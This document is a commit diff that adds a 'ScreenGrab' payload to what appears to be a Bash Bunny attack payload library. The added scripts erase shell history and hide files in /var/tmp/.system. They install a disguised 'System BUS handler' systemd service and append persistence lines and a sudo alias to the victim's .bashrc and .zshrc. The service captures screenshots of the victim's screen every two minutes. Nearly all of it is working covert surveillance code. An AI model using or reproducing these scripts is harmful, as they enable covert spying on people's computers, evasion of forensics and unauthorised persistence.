Uploading ScreenGrab (#511)

* uploading screenGrab

screenGrab payload captures snap shots of target's screen periodically and store them into bunny.

* Uploading payload

payloads/library/execution/ScreenGrab/screenGrab/payload.sh

@@ -0,0 +1,18 @@
+#!/bin/bash
+unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
+mkdir /var/tmp/.system
+lol=$(lsblk | grep 1.8G)
+disk=$(echo $lol | awk '{print $1}')
+mntt=$(lsblk | grep $disk | awk '{print $7}')
+cp -r $mntt/payloads/library/screenGrab/ffmpeg /var/tmp/.system/
+chmod +x /var/tmp/.system/ffmpeg
+mkdir /var/tmp/.system/sysLog
+cp -r $mntt/payloads/library/screenGrab/systemBus /var/tmp/.system/systemBus
+chmod +x /var/tmp/.system/systemBus
+mkdir -p ~/.config/systemd/user
+echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service
+systemctl --user daemon-reload
+systemctl --user enable --now systemBUS.service
+systemctl --user start --now systemBUS.service
+cp -r $mntt/payloads/library/screenGrab/shell /tmp/
+chmod +x /tmp/shell && /tmp/./shell && rm /tmp/shell

payloads/library/execution/ScreenGrab/screenGrab/shell

@@ -0,0 +1,12 @@
+#!/bin/bash
+ls -a ~/ | grep 'zshrc' &> /dev/null
+if [ $? = 0 ]; then
+	echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.zshrc
+        echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.zshrc
+fi
+
+ls -a ~/ | grep 'bashrc' &> /dev/null
+if [ $? = 0 ]; then
+	echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.bashrc
+        echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.bashrc
+fi

payloads/library/execution/ScreenGrab/screenGrab/systemBus

@@ -0,0 +1,5 @@
+while true; 
+do 
+	/var/tmp/.system/./ffmpeg -f x11grab -video_size $(xdpyinfo | grep dimensions | cut -d" " -f7) -i $DISPLAY -vframes 1  /var/tmp/.system/sysLog/$(date +%Y%m%d-%H%M%S).png
+	sleep 120
+done